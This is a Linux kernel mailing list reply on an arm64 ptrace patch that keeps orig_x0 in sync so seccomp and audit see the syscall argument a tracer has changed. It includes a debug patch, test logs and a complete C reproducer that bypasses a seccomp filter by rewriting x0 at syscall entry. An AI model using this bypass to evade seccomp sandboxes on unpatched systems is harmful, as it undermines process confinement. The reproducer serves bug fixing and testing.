Re: [PATCH v2] arm64: ptrace: use live x0 for seccomp and audit after ptrace

[Jinjie Ruan]

On 7/13/2026 10:07 PM, Will Deacon wrote:
> On Mon, Jul 13, 2026 at 03:49:18PM +0800, Jinjie Ruan wrote:
>> On 7/1/2026 1:29 AM, Catalin Marinas wrote:
>>> I think we need to keep orig_x0 as our original arg0 throughout the
>>> kernel and just fix the tracer path to sync it on the syscall entry. It
>>> doesn't unclutter the code but it shouldn't break the ABI either (unless
>>> someone relied on the ptrace change x0 and not being noticed by
>>> seccomp). Something like below:
>>>
>>> ----------------8<-----------------------------
>>> diff --git a/arch/arm64/kernel/ptrace.c b/arch/arm64/kernel/ptrace.c
>>> index 4d08598e2891..cd21b301e154 100644
>>> --- a/arch/arm64/kernel/ptrace.c
>>> +++ b/arch/arm64/kernel/ptrace.c
>>> @@ -2417,6 +2417,18 @@ int syscall_trace_enter(struct pt_regs *regs)
>>>  		ret = report_syscall_entry(regs);
>>>  		if (ret || (flags & _TIF_SYSCALL_EMU))
>>>  			return NO_SYSCALL;
>>> +		/*
>>> +		 * Keep orig_x0 authoritative so that seccomp (via
>>> +		 * syscall_get_arguments()), audit and the restart path all
>>> +		 * see the same first argument the syscall is dispatched with,
>>> +		 * even if it has been updated by a tracer. Skip this for
>>> +		 * NO_SYSCALL (set either by the user or the tracer) as
>>> +		 * regs[0] holds the return value (see the comment in
>>> +		 * el0_svc_common()). For compat, orig_r0 is provided directly
>>> +		 * through GPR index 17.
>>> +		 */
>>> +		if (!is_compat_task() && regs->syscallno != NO_SYSCALL)
>>> +			regs->orig_x0 = regs->regs[0];
>>
>> Can we place this fix in report_syscall_entry()? The generic entry
>> framework has already reserved the function
>> arch_ptrace_report_syscall_permit_entry() for architecture-specific
>> customization, so switching to it might be more convenient.
> 
> Hmm, your comment prompted me to look at this some more and now I'm
> unsure that the seccomp handling is correct, even with the fix above.

Hi Will,

It seems that this issue can be reproduced itself and Catalin's patch
can fix the original question.

Tested-by: Jinjie Ruan <ruanjinjie@xxxxxxxxxx>

I used DeepSeek to help write the following test method and script,
which can successfully reproduce the issue.

# Test Approach

The child process installs a seccomp BPF filter with the following rule:

If the first argument (fd) of write equals 2 → allow (SECCOMP_RET_ALLOW)

Otherwise → immediately kill the process (SECCOMP_RET_KILL)

The parent process traces the child using ptrace with PTRACE_SYSCALL. At
the syscall-enter stop, before seccomp runs, the parent modifies the
child’s x0 register from 2 to 1.

When execution continues:

If the bug is present: seccomp reads the argument from orig_x0, which
still holds the original value 2, so the filter allows the call.
However, the kernel dispatches write with the modified x0 = 1. The child
process writes data to stdout instead of being killed.

After the fix: seccomp sees the same argument as regs[0] (both are 1),
which does not satisfy the fd == 2 condition, and the child is killed by
SIGSYS.

By observing whether the child process is killed by SIGSYS, the presence
of the bug can be reliably determined.

# kernel debug patch

diff --git a/arch/arm64/kernel/ptrace.c b/arch/arm64/kernel/ptrace.c
index 4d08598e2891..d27e44395298 100644
--- a/arch/arm64/kernel/ptrace.c
+++ b/arch/arm64/kernel/ptrace.c
@@ -2408,21 +2408,58 @@ static void report_syscall_exit(struct pt_regs
*regs)
        }
 }

+static void update_syscall_orig_x0_after_ptrace(struct pt_regs *regs)
+{
+       /*
+        * Keep orig_x0 authoritative so that seccomp (via
+        * syscall_get_arguments()), audit and the restart path all see
the same
+        * first argument the syscall is dispatched with, even if it has
been
+        * updated by a tracer. Skip this for NO_SYSCALL (set either by
the user
+        * or the tracer), as regs[0] holds the return value (see the
comment in
+        * el0_svc_common()) and can be unwound using syscall_rollback().
+        * For compat tasks, orig_r0 is provided directly through GPR
index 17.
+        */
+       if (!is_compat_task() && regs->syscallno != NO_SYSCALL)
+               regs->orig_x0 = regs->regs[0];
+}
+
 int syscall_trace_enter(struct pt_regs *regs)
 {
        unsigned long flags = read_thread_flags();
        int ret;

+       if (regs->syscallno == 64)
+               printk("[DEBUG] Enter: syscallno=%d, orig_x0=0x%llx,
x0=0x%llx\n",
+                      regs->syscallno, regs->orig_x0, regs->regs[0]);
+
        if (flags & (_TIF_SYSCALL_EMU | _TIF_SYSCALL_TRACE)) {
                ret = report_syscall_entry(regs);
                if (ret || (flags & _TIF_SYSCALL_EMU))
                        return NO_SYSCALL;
+
+               if (regs->syscallno == 64)
+                       printk("[DEBUG] After Ptrace: syscallno=%d,
orig_x0=0x%llx, x0=0x%llx\n",
+                              regs->syscallno, regs->orig_x0,
regs->regs[0]);
+
+               /*
+                * Ensure ptrace changes to x0 are visible to seccomp
+                * ptrace exits (SECCOMP_RET_TRACE).
+                */
+               update_syscall_orig_x0_after_ptrace(regs);
+
+               if (regs->syscallno == 64)
+                       printk("[DEBUG] After Ptrace update:
syscallno=%d, orig_x0=0x%llx, x0=0x%llx\n",
+                              regs->syscallno, regs->orig_x0,
regs->regs[0]);
        }

        /* Do the secure computing after ptrace; failures should be fast. */
        if (secure_computing() == -1)
                return NO_SYSCALL;

+       if (regs->syscallno == 64)
+               printk("[DEBUG] After Seccomp: syscallno=%d,
orig_x0=0x%llx, x0=0x%llx\n",
+                      regs->syscallno, regs->orig_x0, regs->regs[0]);
+
        if (test_thread_flag(TIF_SYSCALL_TRACEPOINT))
                trace_sys_enter(regs, regs->syscallno);

```

# Test results

## baseline (without update_syscall_orig_x0_after_ptrace()

    # ./bypass_seccomp_orig_x0
    [DEBUG] Enter: syscallno=64, orig_x0=0x2, x0=0x2
    [ptrace] syscall=64, x0=2 -> changed x0 to 1
    [DEBUG] After Ptrace: syscallno=64, orig_x0=0x2, x0=0x1
    [DEBUG] After Ptrace update: syscallno=64, orig_x0=0x2, x0=0x1
    [DEBUG] After Seccomp: syscallno=64, orig_x0=0x2, x0=0x1
    if you see this, bypass worked
    [ptrace] syscall=64, x0=31
    [ptrace] syscall=94, x0=0
    Child exited normally, bypass succeeded.

## After add update_syscall_orig_x0_after_ptrace() after ptrace

    # ./bypass_seccomp_orig_x0
    [DEBUG] Enter: syscallno=64, orig_x0=0x2, x0=0x2
    [ptrace] syscall=64, x0=2 -> changed x0 to 1
    [DEBUG] After Ptrace: syscallno=64, orig_x0=0x2, x0=0x1
    [DEBUG] After Ptrace update: syscallno=64, orig_x0=0x1, x0=0x1
    audit: type=1326 audit(1783997451.048:2): auid=4294967295 uid=0
gid=0 ses=4294967295 pid=232 comm="bypass_seccomp_"
exe="/mnt/bypass_seccomp_ori0
    [ptrace] syscall=64, x0=1
    Child killed by SIGSYS – seccomp correctly denied (bug fixed).

# Test program
cat bypass_seccomp_orig_x0.c

        #define _GNU_SOURCE
        #include <stdio.h>
        #include <stdlib.h>
        #include <unistd.h>
        #include <signal.h>
        #include <sys/ptrace.h>
        #include <sys/wait.h>
        #include <sys/syscall.h>
        #include <linux/filter.h>
        #include <linux/seccomp.h>
        #include <linux/audit.h>
        #include <sys/prctl.h>
        #include <errno.h>
        #include <sys/uio.h>
        #include <elf.h>

        // Equivalent definition of Arm64 user_regs_struct
        struct user_pt_regs {
            unsigned long long regs[31];
            unsigned long long sp;
            unsigned long long pc;
            unsigned long long pstate;
        };

        int main(void)
        {
            pid_t child = fork();
            if (child == 0) {
                /* ========== Child process ========== */
                if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) {
                    perror("ptrace TRACEME");
                    exit(1);
                }
                raise(SIGSTOP);  // Wait for parent to be ready

                /*
                * Seccomp filter logic:
                * If the syscall is not write → allow
                * If it is write:
                *   - If the first argument (fd) == 2 → allow
                *   - Otherwise → kill the process
                */
                struct sock_filter filter[] = {
                    // [0] Load syscall number (nr, offset 0)
                    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, 0),
                    // [1] If nr != __NR_write (64), jump to [5] (ALLOW)
                    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_write, 0, 3),
                    // [2] Load low 32 bits of args[0] (offset 16)
                    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, 16),
                    // [3] If args[0] == 2, jump to [5] (ALLOW), else
fall through to [4] (KILL)
                    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 2, 1, 0),
                    // [4] Kill the process
                    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
                    // [5] Allow execution
                    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
                };
                struct sock_fprog prog = {
                    .len = sizeof(filter) / sizeof(filter[0]),
                    .filter = filter,
                };

                if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
                    perror("prctl NO_NEW_PRIVS");
                    exit(1);
                }
                if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) ==
-1) {
                    perror("seccomp");
                    exit(1);
                }

                /* Execute write(2, ...); parent will change x0 to 1 at
syscall entry */
                syscall(__NR_write, 2, "if you see this, bypass
worked\n", 31);
                _exit(0);
            }

            /* ========== Parent process ========== */
            int status;
            waitpid(child, &status, 0);  // Wait for SIGSTOP
            if (!WIFSTOPPED(status) || WSTOPSIG(status) != SIGSTOP) {
                fprintf(stderr, "unexpected stop\n");
                return 1;
            }

            ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACESYSGOOD);
            ptrace(PTRACE_SYSCALL, child, 0, 0);

            int bypass = 0;
            while (1) {
                waitpid(child, &status, 0);

                if (WIFEXITED(status)) {
                    printf("Child exited normally, bypass succeeded.\n");
                    bypass = 1;
                    break;
                }
                if (WIFSIGNALED(status)) {
                    if (WTERMSIG(status) == SIGSYS)
                        printf("Child killed by SIGSYS – seccomp
correctly denied (bug fixed).\n");
                    else
                        printf("Child killed by signal %d\n",
WTERMSIG(status));
                    break;
                }
                if (WIFSTOPPED(status)) {
                    int sig = WSTOPSIG(status);
                    if (sig == (SIGTRAP | 0x80)) {  // syscall stop
                        struct user_pt_regs regs;
                        struct iovec iov = { .iov_base = &regs, .iov_len
= sizeof(regs) };
                        ptrace(PTRACE_GETREGSET, child, NT_PRSTATUS, &iov);

                        unsigned long long syscall_nr = regs.regs[8];
// x8 holds the syscall number
                        unsigned long long x0 = regs.regs[0];
                        printf("[ptrace] syscall=%lld, x0=%lld",
syscall_nr, x0);

                        // Only intervene at the entry of the write
syscall, and change x0 from 2 to 1
                        if (syscall_nr == __NR_write && x0 == 2) {
                            regs.regs[0] = 1;
                            ptrace(PTRACE_SETREGSET, child, NT_PRSTATUS,
&iov);
                            printf(" -> changed x0 to 1\n");
                        } else {
                            printf("\n");
                        }
                        ptrace(PTRACE_SYSCALL, child, 0, 0);
                    } else {
                        // Forward other signals to the child as-is
                        ptrace(PTRACE_SYSCALL, child, 0, sig);
                    }
                }
            }

            return bypass ? 1 : 0; // Return 1 indicates the
vulnerability exists (bypass succeeded)
    }

> 
> If the seccomp filters return SECCOMP_RET_TRACE, we'll do another ptrace
> exit but we won't re-sync orig_x0, so audit could see a stale value. So
> I think we might need something like the diff below, which looks like it
> might be a pain for the generic entry code.
> 
> Will
> 
> --->8
> 
> diff --git a/arch/arm64/kernel/ptrace.c b/arch/arm64/kernel/ptrace.c
> index 4d08598e2891..57e8c6714d44 100644
> --- a/arch/arm64/kernel/ptrace.c
> +++ b/arch/arm64/kernel/ptrace.c
> @@ -2408,6 +2408,21 @@ static void report_syscall_exit(struct pt_regs *regs)
>         }
>  }
>  
> +static void update_syscall_orig_x0_after_ptrace(struct pt_regs *regs)
> +{
> +       /*
> +        * Keep orig_x0 authoritative so that seccomp (via
> +        * syscall_get_arguments()), audit and the restart path all see the same
> +        * first argument the syscall is dispatched with, even if it has been
> +        * updated by a tracer. Skip this for NO_SYSCALL (set either by the user
> +        * or the tracer), as regs[0] holds the return value (see the comment in
> +        * el0_svc_common()) and can be unwound using syscall_rollback().
> +        * For compat tasks, orig_r0 is provided directly through GPR index 17.
> +        */
> +       if (!is_compat_task() && regs->syscallno != NO_SYSCALL)
> +               regs->orig_x0 = regs->regs[0];
> +}
> +
>  int syscall_trace_enter(struct pt_regs *regs)
>  {
>         unsigned long flags = read_thread_flags();
> @@ -2417,12 +2432,21 @@ int syscall_trace_enter(struct pt_regs *regs)
>                 ret = report_syscall_entry(regs);
>                 if (ret || (flags & _TIF_SYSCALL_EMU))
>                         return NO_SYSCALL;
> +
> +               /*
> +                * Ensure ptrace changes to x0 are visible to seccomp
> +                * ptrace exits (SECCOMP_RET_TRACE).
> +                */
> +               update_syscall_orig_x0_after_ptrace(regs);
>         }
>  
>         /* Do the secure computing after ptrace; failures should be fast. */
>         if (secure_computing() == -1)
>                 return NO_SYSCALL;
>  
> +       /* Ensure seccomp updates to x0 are visible to audit. */
> +       update_syscall_orig_x0_after_ptrace(regs);
> +
>         if (test_thread_flag(TIF_SYSCALL_TRACEPOINT))
>                 trace_sys_enter(regs, regs->syscallno);
>  
>